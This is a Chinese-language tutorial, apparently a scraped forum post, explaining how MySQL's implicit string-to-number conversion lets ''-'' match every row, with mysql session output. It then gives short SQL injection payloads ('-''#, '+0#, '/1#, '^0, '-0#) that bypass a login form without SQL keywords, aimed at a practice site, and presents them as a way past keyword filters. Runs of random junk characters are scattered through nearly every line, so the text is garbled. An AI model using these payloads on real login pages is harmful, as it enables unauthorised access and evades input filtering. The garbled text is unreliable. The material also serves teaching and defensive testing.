我们先来看这样一个场景。
( h' e: K- a& s3 H) |4 w有以下表结构: 6 V7 ~; n( I2 U4 @8 W6 L* }
, J7 g1 [4 {7 A5 Q* ?5 `: I
mysql> desc admin;
. r0 q: T! B' L/ S9 ~+----------+--------------+------+-----+---------+----------------+2 z2 s8 Y, T8 v K2 A0 ]" b
| Field | Type | Null | Key | Default | Extra |
7 g5 U0 i5 U; h3 U6 ?+----------+--------------+------+-----+---------+----------------+
5 r4 R# `" W) r& i, H- r% H| id | mediumint(9) | NO | PRI | NULL | auto_increment |
# v }" l9 Z" r8 e8 }' j j4 Y| name | char(32) | NO | UNI | NULL | |
9 A- Z4 T0 S7 C) g. L% z| password | char(32) | NO | UNI | NULL | |; s$ T; q+ D, D+ \! i. ]1 a
+----------+--------------+------+-----+---------+----------------+2 Q- b6 f: }. }. I$ T
3 rows in set (0.00 sec)9 Z$ `7 ^- X/ _: u3 }( M3 h
执行select * from admin;,成功返回所有记录内容。/ a h. K- ?0 V2 z; O
4 s4 C' ^ z/ B$ i
- ]: ^! _% w9 o. Y- q& ?7 N+----+--------+----------------------------------+
: f: H Y3 W5 u4 k. M& u; q- w| id | name | password |
% T' \/ R. L# w4 j1 {, x+----+--------+----------------------------------+) b1 }, [( R4 X, j8 W, f
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
4 |7 l5 Z# ]. @/ l7 B) s! n( D| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* q+ b, M6 a5 l7 s; u' @| 4 | n00b | ff80e8508d39047460921792273533a4 |
% |8 P1 S7 c( {4 v+----+--------+----------------------------------+5 {- d: ~! e# m! s+ l2 P
3 rows in set (0.00 sec)7 y0 L: d' U( c" z8 z1 C
执行select * from admin where name=”;,没有匹配到任何记录。 / W; f9 J8 l2 i
3 I: H0 h5 ^% w; H7 n, t( M( hmysql> select * from admin where name = '';
2 c$ o# u' m6 R; ^Empty set (0.00 sec)( }. K l8 O0 I. v( y
那么我们来执行select * from admin where name = ”-”;$ Y( {8 P9 Z( @
( S' K' a* b6 `# L! U2 j3 A. d4 }, T5 n8 y. d& J- X4 q7 b
+----+--------+----------------------------------+( k! c5 D& I2 e! o( W4 X' I' D8 G
| id | name | password |
( _2 ^# j e8 x+----+--------+----------------------------------+
/ N. u0 L1 P) b+ Q e; W2 Q, q| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
6 H# o4 G* k9 g8 h& P| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; ~# Q% r3 v4 ^/ r! Z
| 4 | n00b | ff80e8508d39047460921792273533a4 |
- e- q9 o% b6 l" R! d* z+ j+----+--------+----------------------------------+1 ~7 T7 R9 z. V
3 rows in set, 3 warnings (0.00 sec)1 e1 G" I W' v7 i8 `
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: & R/ I1 J K9 @3 l5 K
3 M9 P% n, a/ B! P5 D6 R! |mysql> show warnings;2 X. _! q: }2 H, d0 J4 S
+---------+------+------------------------------------------! S0 t% O8 O8 p0 T1 D, ^2 q0 f! A0 S
| Level | Code | Message
: N0 \+ C- g# {) Y: v+---------+------+------------------------------------------
; j3 n8 D r: n+ X6 ~6 F; L1 {| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin. T/ F0 a( O) [) G
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
5 w- c9 l2 [* J0 ^# U* _| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
. h# O* b. `% X7 X; `. ?+---------+------+------------------------------------------
3 ^# M: J; e0 `$ e7 O( i+ ]3 rows in set (0.00 sec)
% S u4 S c+ y, d+ c; g# K! J提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 W3 S$ c- R; D
8 Y$ T9 _* k# P+ c/ y) Dmysql> select ''-'';
. Y$ d5 r/ @% k6 H6 ]: f( S+-------+
3 W& b8 H1 p: _8 c) v9 K. M% e| ''-'' |
0 D' X9 e3 I( {% N+-------+
5 B3 q$ P9 q8 e i0 N J* ~| 0 |
% v# v$ ^/ i% @2 j- E; Y+-------+
7 U8 X0 @- N" B' E8 j3 G1 row in set (0.00 sec)3 `1 p0 t( a7 g( j! M3 {
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , p, V$ c7 }* y7 A6 N% f: d w& r% Q
3 ], R; R* U$ D, Smysql> select CAST((select name from admin limit 1,1) as DECIMAL);9 Y7 [0 w! i/ [9 J
+-----------------------------------------------------+
/ }; M2 ~0 C. A$ |2 S+ w| CAST((select name from admin limit 1,1) as DECIMAL) |
6 G4 U; w& x9 ?0 f+-----------------------------------------------------+
- i) o# n6 S5 P: @| 0 |/ m) {* ~" |, h% ?8 F
+-----------------------------------------------------+( _$ \% |! V. l. R( B+ l9 m
1 row in set, 1 warning (0.00 sec)
9 R5 X! P) X- L6 i6 g因此where语句构成了相等的条件,where 0=”=”,记录被返回。
, \' _' }) H0 z# p9 v0 Q3 u* g' v1 k" f0 e& I4 g Q
SQL注入场景: http://www.sqlzoo.net/hack/
3 F# g: u! _8 ?; [
* {. h1 a- ?9 s3 C" t
, |" n5 ?3 w, A" [: g* L5 t$ Z4 m
' M! k- n2 G+ V5 @0 O如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
) r S3 o4 N$ E S/ i
& g. \2 D# f$ V( _ n1 Y* ~那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
[1 R, x9 F3 N
' `3 W* d0 p8 `; Y; l" t( F u4 k2 \( o9 ]- R! t
# @0 F- n6 j! d; ]$ |/ x0 v2 p; V4 x6 f
1 C1 d/ d& G" N* y T仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ( d2 N9 O6 x+ p3 i2 ^" J7 w' @: r4 c
4 L% r" n# `$ f+ s( w
. m f" |% w" `( |3 T. d
! N! |& v! y# a5 i0 @* |
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
( F; o) K6 U$ W b1 P7 |, i5 _, Z6 B. a2 n4 q5 {, \
. H4 ^* U" E0 t6 C: G! [/ Y4 l1 Nmysql> select ''/1;; d8 T; b- I# r2 L3 A$ v4 e
+------+6 y' t) \; i7 I$ A+ v
| ''/1 |) }2 ]" t9 @! F2 H+ n
+------+
) e+ f# r- R, K4 q8 C$ o9 h+ h| 0 |
2 @: a$ ^' d4 }2 f* j+------+
' A6 v; D* l/ k% e/ d) a2 c# a5 {1 row in set (0.00 sec)
4 b) L- I+ h+ d7 J/ v类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
8 p7 ~ N# D& f2 d2 y
0 h" V+ g/ i* ?, a$ F) ^0 j利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。/ H3 K- k' y+ e% b+ Y' o
|
|